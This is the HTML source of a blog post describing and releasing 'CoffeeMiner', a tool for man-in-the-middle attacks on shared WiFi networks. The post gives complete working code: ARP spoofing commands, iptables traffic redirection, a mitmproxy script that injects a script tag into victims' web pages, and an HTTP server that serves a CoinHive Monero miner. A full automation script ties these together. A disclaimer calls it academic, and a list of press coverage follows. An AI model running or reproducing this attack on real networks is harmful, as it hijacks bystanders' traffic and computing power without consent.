arnaucube.com/public/coffeeminer-hacking-wifi-cryptocurrency-miner.html
public/coffeeminer-hacking-wifi-cryptocurrency-miner.htmlRaw
1<!DOCTYPE html>
2<html lang="en">
3
4 <head>
5 <meta name="description" content="Webpage description goes here" />
6 <meta charset="utf-8">
7 <title>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - ArnauCube - Blog</title>
8 <meta name="viewport" content="width=device-width, initial-scale=1">
9 <meta name="author" content="">
10
11 <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
12 <link rel="stylesheet" href="css/style.css">
13
14 <!-- highlightjs -->
15 <!-- <link rel="stylesheet" href="js/highlightjs/atom-one-dark.css"> -->
16 <link rel="stylesheet" href="js/highlightjs/gruvbox-dark.css">
17 <script src="js/highlightjs/highlight.pack.js"></script>
18
19 <!-- katex -->
20 <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/katex.min.css" integrity="sha384-Um5gpz1odJg5Z4HAmzPtgZKdTBHZdw8S29IecapCSB31ligYPhHQZMIlWLYQGVoc" crossorigin="anonymous">
21 </head>
22
23 <body>
24
25 <!-- o_gradient_background" -->
26 <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"
27 style="height:50px;font-size:130%;">
28 <div class="container">
29 <a href="/blog" style="color:#000;">Blog index</a>
30 <a href="/" style="color:#000;float:right;">arnaucube.com</a>
31 </div>
32 </nav>
33 <div class="o_gradient_background" style="height:5px;"></div>
34
35
36
37 <div class="container" style="margin-top:80px;max-width:800px;">
38 <h1>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests</h1>
39
40<p><em>2018-01-04</em></p>
41
42<p><strong><em>Disclamer: this article & project is for academic purposes only.</em></strong></p>
43
44<p>Some weeks ago I read about <a href="https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive">this Starbucks case</a> where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.</p>
45
46<p>The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.</p>
47
48<p><img src="img/posts/coffeeMiner/coffeeMiner-logo-small.png" alt="coffeeMiner" title="coffeeMiner" /></p>
49
50<p>The objective is to have a script that performs autonomous attack on the WiFi network. It’s what we have called <strong>CoffeeMiner</strong>, as it’s a kind of attack that can be performed in the cafes WiFi networks.</p>
51
52<h2>1. The Scenario</h2>
53
54<p>The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.</p>
55
56<p><img src="img/posts/coffeeMiner/coffeeMiner-network-attack.png" alt="network" title="network" /></p>
57
58<h3>1.1 Scenario configuration</h3>
59
60<p>The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.</p>
61
62<p>We will use VirtualBox to deploy our virtual scenario <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> .</p>
63
64<p>First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images <a href="https://www.kali.org/">https://www.kali.org/</a></p>
65
66<p>Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.</p>
67
68<p>To configure the defined scenario we need to prepare the machines each one with a role:</p>
69
70<ul>
71<li>Victim
72
73<ul>
74<li>will be the machine that connects to the Router and browse some pages.</li>
75</ul></li>
76<li>Attacker
77
78<ul>
79<li>will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.</li>
80</ul></li>
81<li>Router / Gateway
82
83<ul>
84<li>will act as a normal gateway.</li>
85</ul></li>
86</ul>
87
88<p><img src="img/posts/coffeeMiner/scenario01.png" alt="network" title="network" /></p>
89
90<p>Once the attack is performed, the scenario will be:</p>
91
92<p><img src="img/posts/coffeeMiner/scenario02.png" alt="network" title="network" /></p>
93
94<p>To configure each one of the machines, we will do the following configuration:</p>
95
96<ul>
97<li>Victim
98
99<ul>
100<li>network adapter:
101
102<ul>
103<li>eth0: Host-only Adapter</li>
104</ul></li>
105<li>/etc/network/interfaces:</li>
106</ul></li>
107</ul>
108
109<pre><code class="language-bash">auto lo
110iface lo inet loopback
111
112auto eth0
113iface eth0 inet static
114 address 10.0.2.10
115 netmask 255.255.255.0
116 gateway 10.0.2.15
117</code></pre>
118
119<ul>
120<li>Attacker
121
122<ul>
123<li>network adapter:
124
125<ul>
126<li>eth0: Host-only Adapter</li>
127</ul></li>
128<li>/etc/network/interfaces:</li>
129</ul></li>
130</ul>
131
132<pre><code class="language-bash">auto lo
133iface lo inet loopback
134
135auto eth0
136iface eth0 inet static
137 address 10.0.2.20
138 netmask 255.255.255.0
139 gateway 10.0.2.15
140</code></pre>
141
142<ul>
143<li>Router / Gateway
144
145<ul>
146<li>network adapter:
147
148<ul>
149<li>eth0: Bridged Adapter</li>
150<li>eth1: Host-only Adapter</li>
151</ul></li>
152<li>/etc/network/interfaces:</li>
153</ul></li>
154</ul>
155
156<pre><code class="language-bash">auto lo
157iface lo inet loopback
158
159auto eth0
160iface eth0 inet dhcp
161
162auto eth1
163iface eth1 inet static
164 address 10.0.2.15
165 netmask 255.255.255.0
166</code></pre>
167
168<h2>2. CoffeeMiner, understanding the code</h2>
169
170<h3>2.1 ARPspoofing</h3>
171
172<p>First of all, we need to understand how the MITM attack is performed.</p>
173
174<p>From wikipedia:</p>
175
176<p><em>“In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker’s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.”</em></p>
177
178<p><a href="https://en.wikipedia.org/wiki/ARP_spoofing">https://en.wikipedia.org/wiki/ARP_spoofing</a></p>
179
180<p>To perform the ARPspoofing attack, we will use the <strong>dsniff</strong> library.</p>
181
182<pre><code class="language-bash">arpspoof -i interface -t ipVictim ipGateway
183arpspoof -i interface -t ipGateway ipVictim
184</code></pre>
185
186<h3>2.2 mitmproxy</h3>
187
188<p><a href="https://mitmproxy.org/">mitmproxy</a> is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.</p>
189
190<p>To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.</p>
191
192<p>The line to inject the crypto miner is:</p>
193
194<pre><code class="language-html"><script src="http://httpserverIP:8000/script.js"></script>
195</code></pre>
196
197<h3>2.3 Injector</h3>
198
199<p>Once we have the victim’s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:</p>
200
201<pre><code class="language-python">from bs4 import BeautifulSoup
202from mitmproxy import ctx, http
203import argparse
204
205class Injector:
206 def __init__(self, path):
207 self.path = path
208
209 def response(self, flow: http.HTTPFlow) -> None:
210 if self.path:
211 html = BeautifulSoup(flow.response.content, "html.parser")
212 print(self.path)
213 print(flow.response.headers["content-type"])
214 if flow.response.headers["content-type"] == 'text/html':
215 script = html.new_tag(
216 "script",
217 src=self.path,
218 type='application/javascript')
219 html.body.insert(0, script)
220 flow.response.content = str(html).encode("utf8")
221 print("Script injected.")
222
223def start():
224 parser = argparse.ArgumentParser()
225 parser.add_argument("path", type=str)
226 args = parser.parse_args()
227 return Injector(args.path)
228
229</code></pre>
230
231<h3>2.4 HTTP Server</h3>
232
233<p>As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.</p>
234
235<p>In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library ‘http.server’:</p>
236
237<pre><code class="language-python">#!/usr/bin/env python
238import http.server
239import socketserver
240import os
241
242PORT = 8000
243
244web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
245os.chdir(web_dir)
246
247Handler = http.server.SimpleHTTPRequestHandler
248httpd = socketserver.TCPServer(("", PORT), Handler)
249print("serving at port", PORT)
250httpd.serve_forever()
251</code></pre>
252
253<p>The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.</p>
254
255<p>The javascript miner, will be placed in the /miner_script directory. In our case, we have used the <a href="https://coinhive.com/">CoinHive</a> javascript miner.</p>
256
257<h3>2.5 CoinHive crypto miner</h3>
258
259<p><a href="https://coinhive.com/">CoinHive</a> is a javascript miner for the <a href="https://coinmarketcap.com/es/currencies/monero/">Monero cryptocurrency</a> (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on <a href="https://cryptonote.org/">CryptoNote</a> protocol.</p>
260
261<p>CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn’t make much sense.</p>
262
263<p>In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.</p>
264
265<p><img src="img/posts/coffeeMiner/coinhive-monero-logo.jpg" alt="CoinHive logo" title="CoinHive logo" /></p>
266
267<h2>3. CoffeeMiner, puting all together</h2>
268
269<p>The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.</p>
270
271<p>The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.</p>
272
273<p>First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker’s machine into a proxy:</p>
274
275<pre><code class="language-bash">echo 1 > /proc/sys/net/ipv4/ip_forward
276iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
277iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
278</code></pre>
279
280<p>To perform the ARPspoof for all the victims, we will prepare a ‘victims.txt’ file with all the victim’s IP.
281To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim’s IP.</p>
282
283<pre><code class="language-python"># get gateway_ip
284gateway = sys.argv[1]
285print("gateway: " + gateway)
286# get victims_ip
287victims = [line.rstrip('\n') for line in open("victims.txt")]
288print("victims:")
289print(victims)
290
291# run the arpspoof for each victim, each one in a new console
292for victim in victims:
293 os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
294 os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
295</code></pre>
296
297<p>Once we have the ARPspoofing performed, we just need to run the HTTP Server:</p>
298
299<pre><code class="language-bash">> python3 httpServer.py
300</code></pre>
301
302<p>And now, we can run the mitmproxy with the injector.py:</p>
303
304<pre><code class="language-bash">> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
305</code></pre>
306
307<h2>3.1 CoffeeMiner, final script</h2>
308
309<p>Now we put all the concepts explained above in the ‘coffeeMiner.py’ script:</p>
310
311<pre><code class="language-python">import os
312import sys
313
314#get gateway_ip (router)
315gateway = sys.argv[1]
316print("gateway: " + gateway)
317# get victims_ip
318victims = [line.rstrip('\n') for line in open("victims.txt")]
319print("victims:")
320print(victims)
321
322# configure routing (IPTABLES)
323os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
324os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
325os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
326os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
327
328
329# run the arpspoof for each victim, each one in a new console
330for victim in victims:
331 os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
332 os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
333
334# start the http server for serving the script.js, in a new console
335os.system("xterm -hold -e 'python3 httpServer.py' &")
336
337# start the mitmproxy
338os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
339</code></pre>
340
341<p>And also in the ‘injector.py’ script:</p>
342
343<pre><code class="language-python">from bs4 import BeautifulSoup
344from mitmproxy import ctx, http
345import argparse
346
347class Injector:
348 def __init__(self, path):
349 self.path = path
350
351 def response(self, flow: http.HTTPFlow) -> None:
352 if self.path:
353 html = BeautifulSoup(flow.response.content, "html.parser")
354 print(self.path)
355 print(flow.response.headers["content-type"])
356 if flow.response.headers["content-type"] == 'text/html':
357 print(flow.response.headers["content-type"])
358 script = html.new_tag(
359 "script",
360 src=self.path,
361 type='application/javascript')
362 html.body.insert(0, script)
363 flow.response.content = str(html).encode("utf8")
364 print("Script injected.")
365
366def start():
367 parser = argparse.ArgumentParser()
368 parser.add_argument("path", type=str)
369 args = parser.parse_args()
370 return Injector(args.path)
371</code></pre>
372
373<p>And to execute, we just need to do:</p>
374
375<pre><code class="language-bash">> python3 coffeeMiner.py RouterIP
376</code></pre>
377
378<h2>4. Demo</h2>
379
380<p>In order to do the demo, we set up the VirtualBox scenario explained above.</p>
381
382<p>If we want to perform the attack manually, we will need the following terminals:</p>
383
384<p><img src="img/posts/coffeeMiner/demo01.png" alt="demo" title="demo" /></p>
385
386<p>Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim’s machine and browse to a website. The victim’s traffic will go through the attacker machine, and will activate the injector:</p>
387
388<p><img src="img/posts/coffeeMiner/demo02.png" alt="demo" title="demo" /></p>
389
390<p>As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.</p>
391
392<p><img src="img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif" alt="demo" title="demo" /></p>
393
394<h4>4.1 Demo video</h4>
395
396<p>In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:</p>
397
398<ul>
399<li>VirtualBox demo:</li>
400</ul>
401
402<p><a href="https://www.youtube.com/watch?v=wmYJ6Z4LoCA"><img src="img/posts/coffeeMiner/demo-video.png" alt="video demo" /></a></p>
403
404<ul>
405<li>Real world WiFi network and laptops demo:</li>
406</ul>
407
408<p><a href="https://www.youtube.com/watch?v=-TnzGLUD0DU"><img src="img/posts/coffeeMiner/demo-realWiFi-video.png" alt="video demo" /></a></p>
409
410<h2>Conclusion</h2>
411
412<p>As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.</p>
413
414<p>Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.</p>
415
416<p>Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous <a href="https://nmap.org/">Nmap</a> scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding <a href="https://moxie.org/software/sslstrip/">sslstrip</a>, to make sure the injection also in the websites that the user can request over HTTPS.</p>
417
418<p>The complete code is available in the github repo: <a href="https://github.com/arnaucube/coffeeMiner">https://github.com/arnaucube/coffeeMiner</a></p>
419
420<hr>
421
422<p><strong><em>Disclamer: this article & project is for academic purposes only.</em></strong></p>
423
424<hr>
425
426<p><em>tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3</em></p>
427
428<hr>
429
430<h1>References in the press about this article</h1>
431
432<ul>
433<li><p>English</p>
434
435<ul>
436<li><a href="https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/">https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/</a></li>
437<li><a href="http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html">http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html</a></li>
438<li><a href="https://gbhackers.com/coffeeminer-hacking-wifi/">https://gbhackers.com/coffeeminer-hacking-wifi/</a></li>
439<li><a href="https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/">https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/</a></li>
440<li><a href="http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
441<li><a href="https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/">https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/</a></li>
442<li><a href="http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
443<li><a href="https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency">https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency</a></li>
444<li><a href="https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&utm_medium=Sociallymap&utm_campaign=Sociallymap">https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&utm_medium=Sociallymap&utm_campaign=Sociallymap</a></li>
445<li><a href="http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html">http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html</a></li>
446<li><a href="https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5">https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5</a></li>
447<li><a href="https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/">https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/</a></li>
448<li><a href="https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/">https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/</a></li>
449<li><a href="https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/">https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/</a></li>
450<li><a href="https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/">https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/</a></li>
451<li><a href="https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/">https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/</a></li>
452<li><a href="https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html">https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html</a></li>
453<li><a href="https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/">https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/</a></li>
454<li><a href="https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/">https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/</a></li>
455<li><a href="http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320">http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320</a></li>
456</ul></li>
457
458<li><p>Spanish</p>
459
460<ul>
461<li><a href="http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html">http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html</a></li>
462<li><a href="https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/">https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/</a></li>
463<li><a href="http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
464<li><a href="https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
465<li><a href="https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/">https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/</a></li>
466<li><a href="http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
467<li><a href="https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/">https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/</a></li>
468<li><a href="https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/">https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/</a></li>
469</ul></li>
470
471<li><p>Russian</p>
472
473<ul>
474<li><a href="https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/">https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/</a></li>
475<li><a href="https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty">https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty</a></li>
476<li><a href="https://xakep.ru/2018/01/10/coffeeminer/">https://xakep.ru/2018/01/10/coffeeminer/</a></li>
477</ul></li>
478
479<li><p>Italian</p>
480
481<ul>
482<li><a href="http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute">http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute</a></li>
483</ul></li>
484
485<li><p>Bulgarian</p>
486
487<ul>
488<li><a href="https://questona.com/coffeeminer-wifi/">https://questona.com/coffeeminer-wifi/</a></li>
489</ul></li>
490
491<li><p>Greek</p>
492
493<ul>
494<li><a href="https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/">https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/</a></li>
495</ul></li>
496
497<li><p>Turkish</p>
498
499<ul>
500<li><a href="http://blog.cyberage.com.tr/2018/01/10/coffeeminer/">http://blog.cyberage.com.tr/2018/01/10/coffeeminer/</a></li>
501</ul></li>
502
503<li><p>Dutch</p>
504
505<ul>
506<li><a href="https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/">https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/</a></li>
507</ul></li>
508
509<li><p>Chinese</p>
510
511<ul>
512<li><a href="http://www.4hou.com/wireless/9773.html">http://www.4hou.com/wireless/9773.html</a></li>
513<li><a href="https://www.ithome.com.tw/news/120449">https://www.ithome.com.tw/news/120449</a></li>
514</ul></li>
515</ul>
516
517<h4>Destacated tweets</h4>
518
519<ul>
520<li>@defcon <a href="https://twitter.com/defcon/status/949679959509012480">https://twitter.com/defcon/status/949679959509012480</a></li>
521<li>@x0rz <a href="https://twitter.com/x0rz/status/948865836609130496">https://twitter.com/x0rz/status/948865836609130496</a></li>
522<li>@avast_antivirus <a href="https://twitter.com/avast_antivirus/status/951835917815308288">https://twitter.com/avast_antivirus/status/951835917815308288</a></li>
523<li>@fullstackpython <a href="https://twitter.com/fullstackpython/status/949707681543213057">https://twitter.com/fullstackpython/status/949707681543213057</a></li>
524<li>@alienvault <a href="https://twitter.com/alienvault/status/950449599872929792">https://twitter.com/alienvault/status/950449599872929792</a></li>
525<li>@binitamshah <a href="https://twitter.com/binitamshah/status/951520444900818945">https://twitter.com/binitamshah/status/951520444900818945</a></li>
526<li>@_odisseus <a href="https://twitter.com/_odisseus/status/951052521967144960">https://twitter.com/_odisseus/status/951052521967144960</a></li>
527</ul>
528
529<p><img src="img/posts/coffeeMiner/tweets_small.png" alt="tweets" title="tweets" /></p>
530
531 </div>
532
533 <footer style="text-align:center; margin-top:100px;margin-bottom:50px;">
534 <div class="container">
535 <div class="row">
536 <ul class="list-inline">
537 <li><a href="https://twitter.com/arnaucube"
538 style="color:gray;text-decoration:none;"
539 target="_blank">twitter.com/arnaucube</a>
540 </li>
541 <li><a href="https://github.com/arnaucube"
542 style="color:gray;text-decoration:none;"
543 target="_blank">github.com/arnaucube</a>
544 </li>
545 </ul>
546 </div>
547 <div class="row" style="display:inline-block;">
548 Blog made with <a href="http://github.com/arnaucube/blogo/"
549 target="_blank" style="color: gray;text-decoration:none;">Blogo</a>
550 </div>
551 </div>
552 </footer>
553
554 <script>
555 </script>
556 <script src="js/external-links.js"></script>
557 <script>hljs.initHighlightingOnLoad();</script>
558 <script defer src="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/katex.min.js" integrity="sha384-YNHdsYkH6gMx9y3mRkmcJ2mFUjTd0qNQQvY9VYZgQd7DcN7env35GzlmFaZ23JGp" crossorigin="anonymous"></script>
559 <script defer src="https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/contrib/auto-render.min.js" integrity="sha384-vZTG03m+2yp6N6BNi5iM4rW4oIwk5DfcNdFfxkk9ZWpDriOkXX8voJBFrAO7MpVl" crossorigin="anonymous"></script>
560 <script>
561 document.addEventListener("DOMContentLoaded", function() {
562 renderMathInElement(document.body, {
563 displayMode: false,
564 // customised options
565 // • auto-render specific keys, e.g.:
566 delimiters: [
567 {left: '$$', right: '$$', display: true},
568 {left: '$', right: '$', display: false},
569 ],
570 // • rendering keys, e.g.:
571 throwOnError : true
572 });
573 });
574</script>
575
576
577 </body>
578</html>
579